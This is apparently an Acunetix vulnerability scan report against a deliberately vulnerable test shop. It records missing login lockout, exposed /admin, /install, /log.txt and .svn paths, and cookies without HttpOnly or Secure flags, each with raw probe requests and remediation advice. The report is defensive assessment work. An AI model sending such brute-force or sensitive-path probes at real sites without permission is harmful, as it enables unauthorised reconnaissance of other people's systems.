This login page doesn't have any protection against password-guessing attacks (brute force attacks). It's recommended to implement some type of account lockout after a defined number of incorrect password attempts. Consult Web references for more information about fixing this problem.

Impact

An attacker may attempt to discover a weak password by systematically trying every possible combination of letters, numbers, and symbols until it discovers the one correct combination that works.

Recommendation

It's recommended to implement some type of account lockout after a defined number of incorrect password attempts.

References

Blocking Brute Force Attacks

Affected items

/admin/user/login

Details

The scanner tested 10 invalid credentials and no account lockout was detected.

Request headers

```
POST /admin/user/login HTTP/1.1
Content-Length: 35
Content-Type: application/x-www-form-urlencoded
Referer: http://hackazon.webscantest.com:80/
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

password=VUeKjFaJ&username=FjuoGLEN
```

/install/db_settings

Details

The scanner tested 10 invalid credentials and no account lockout was detected.

Request headers

```
POST /install/db_settings HTTP/1.1
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
Referer: http://hackazon.webscantest.com:80/
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

&db=hackazon&host=localhost&password=z4UBzP9N&user=kqFE9aPl
```

/user/login

Details

The scanner tested 10 invalid credentials and no account lockout was detected.

Request headers

```
POST /user/login?return_url=/wishlist HTTP/1.1
Content-Length: 35
Content-Type: application/x-www-form-urlencoded
Referer: http://hackazon.webscantest.com:80/
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

password=OKtsKYRp&username=GKOOdh8M
```

/user/login

Details

The scanner tested 10 invalid credentials and no account lockout was detected.

Request headers

```
POST /user/login HTTP/1.1
Content-Length: 35
Content-Type: application/x-www-form-urlencoded
Referer: http://hackazon.webscantest.com:80/
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

password=3tK5MXbK&username=H7aolgeW
```

Possible sensitive directories

Severity	**Low**
Type	Validation
Reported by module	Scripting (Possible_Sensitive_Directories.script)

Description

A possible sensitive directory has been found. This directory is not directly linked from the website.This check looks for common sensitive resources like backup directories, database dumps, administration pages, temporary directories. Each one of these directories could help an attacker to learn more about his target.

Impact

This directory may expose sensitive information that could help a malicious user to prepare more advanced attacks.

Recommendation

Restrict access to this directory or remove it from the website.

References

Web Server Security and Database Server Security

Affected items

/admin

Details

No details are available.

Request headers

```
GET /admin HTTP/1.1
Accept: acunetix/wvs
Range: bytes=0-99999
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
```

/upload

Details

No details are available.

Request headers

```
GET /upload HTTP/1.1
Accept: acunetix/wvs
Range: bytes=0-99999
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
```

Possible sensitive files

Severity	**Low**
Type	Validation
Reported by module	Scripting (Possible_Sensitive_Directories.script)

Description

A possible sensitive file has been found. This file is not directly linked from the website. This check looks for common sensitive resources like password files, configuration files, log files, include files, statistics data, database dumps. Each one of these files could help an attacker to learn more about his target.

Impact

This file may expose sensitive information that could help a malicious user to prepare more advanced attacks.

Recommendation

Restrict access to this file or remove it from the website.

References

Web Server Security and Database Server Security

Affected items

/install

Details

No details are available.

Request headers

```
GET /install HTTP/1.1
Accept: acunetix/wvs
Range: bytes=0-99999
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
```

/Install

Details

No details are available.

Request headers

```
GET /Install HTTP/1.1
Accept: acunetix/wvs
Range: bytes=0-99999
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
```

/log.txt

Details

No details are available.

Request headers

```
GET /log.txt HTTP/1.1
Accept: acunetix/wvs
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
```

/log.txt

Details

No details are available.

Request headers

```
GET /log.txt HTTP/1.1
Accept: acunetix/wvs
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
```

Session Cookie without HttpOnly flag set

Severity	**Low**
Type	Informational
Reported by module	Crawler

Description

This cookie does not have the HTTPOnly flag set. When a cookie is set with the HTTPOnly flag, it instructs the browser that the cookie can only be accessed by the server and not by client-side scripts. This is an important security protection for session cookies.

Impact

None

Recommendation

If possible, you should set the HTTPOnly flag for this cookie.

Affected items

/

Details

Cookie name: "PHPSESSID"
Cookie domain: "hackazon.webscantest.com"

Request headers

```
GET / HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/

Details

Cookie name: "visited_products"
Cookie domain: "hackazon.webscantest.com"

Request headers

```
GET / HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Session Cookie without Secure flag set

Severity	**Low**
Type	Informational
Reported by module	Crawler

Description

This cookie does not have the Secure flag set. When a cookie is set with the Secure flag, it instructs the browser that the cookie can only be accessed over secure SSL channels. This is an important security protection for session cookies.

Impact

None

Recommendation

If possible, you should set the Secure flag for this cookie.

Affected items

/

Details

Cookie name: "visited_products"
Cookie domain: "hackazon.webscantest.com"

Request headers

```
GET / HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/

Details

Cookie name: "PHPSESSID"
Cookie domain: "hackazon.webscantest.com"

Request headers

```
GET / HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Broken links

Severity	**Informational**
Type	Informational
Reported by module	Crawler

Description

A broken link refers to any link that should take you to a document, image or webpage, that actually results in an error. This page was linked from the website but it is inaccessible.

Impact

Problems navigating the site.

Recommendation

Remove the links to this file or make it accessible.

Affected items

/a

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /a HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/bestprice
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/amf

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /amf/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/amf
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/category/view

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /category/view HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/css/bar

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /css/bar/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/css/bar
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/css/light

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /css/light/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/css/light
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/less

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /less/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/less
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/nivo-themes

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /nivo-themes/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/nivo-themes
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/plugins

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /plugins/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/plugins
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/report/ntospider/ResourceSummaryBreakdown_Applets.html

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /report/ntospider/ResourceSummaryBreakdown_Applets.html HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/report/ntospider/AppThreatModeling.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/report/ntospider/ResourceSummaryBreakdown_Authenticated.html

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /report/ntospider/ResourceSummaryBreakdown_Authenticated.html HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/report/ntospider/AppThreatModeling.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/report/ntospider/ResourceSummaryBreakdown_Comments.html

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /report/ntospider/ResourceSummaryBreakdown_Comments.html HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/report/ntospider/AppThreatModeling.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/report/ntospider/ResourceSummaryBreakdown_Email.html

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /report/ntospider/ResourceSummaryBreakdown_Email.html HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/report/ntospider/AppThreatModeling.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/report/ntospider/ResourceSummaryBreakdown_Forms.html

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /report/ntospider/ResourceSummaryBreakdown_Forms.html HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/report/ntospider/AppThreatModeling.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/report/ntospider/ResourceSummaryBreakdown_HiddenFields.html

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /report/ntospider/ResourceSummaryBreakdown_HiddenFields.html HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/report/ntospider/AppThreatModeling.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/report/ntospider/ResourceSummaryBreakdown_IFrame.html

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /report/ntospider/ResourceSummaryBreakdown_IFrame.html HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/report/ntospider/AppThreatModeling.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/report/ntospider/ResourceSummaryBreakdown_LoginPages.html

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /report/ntospider/ResourceSummaryBreakdown_LoginPages.html HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/report/ntospider/AppThreatModeling.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/report/ntospider/ResourceSummaryBreakdown_Parameters.html

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /report/ntospider/ResourceSummaryBreakdown_Parameters.html HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/report/ntospider/AppThreatModeling.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/report/ntospider/ResourceSummaryBreakdown_Scripts.html

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /report/ntospider/ResourceSummaryBreakdown_Scripts.html HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/report/ntospider/AppThreatModeling.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/report/ntospider/ResourceSummaryBreakdown_Set-Cookie.html

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /report/ntospider/ResourceSummaryBreakdown_Set-Cookie.html HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/report/ntospider/AppThreatModeling.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/report/ntospider/ResourceSummaryBreakdown_Vulnerabilities.html

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /report/ntospider/ResourceSummaryBreakdown_Vulnerabilities.html HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/report/ntospider/AppThreatModeling.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/scss

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /scss/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/scss
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/upload (79ae5bca82842b16bae7ada2f1aff669)

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /upload/?upload HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/upload
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Content type is not specified

Severity	**Informational**
Type	Informational
Reported by module	Crawler

Description

This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.

Impact

None

Recommendation

Set a Content-Type header value for this page.

Affected items

/.svn/entries

Details

```
HTTP/1.1 200 OK
Date: Wed, 24 Sep 2014 09:10:01 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Mon, 22 Sep 2014 13:00:08 GMT
ETag: "1bc5da-46b-503a707c00600"
Accept-Ranges: bytes
Content-Length: 1131
Keep-Alive: timeout=5, max=941
Connection: Keep-Alive
```

Request headers

```
GET /.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/.svn/text-base/index.php.svn-base

Details

```
HTTP/1.1 200 OK
Date: Wed, 24 Sep 2014 09:31:30 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Wed, 20 Aug 2014 14:00:23 GMT
ETag: "1bc385-f4-5011006752bc0"
Accept-Ranges: bytes
Content-Length: 244
Keep-Alive: timeout=5, max=1000
Connection: Keep-Alive
```

Request headers

```
GET /.svn/text-base/index.php.svn-base HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
```

```
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
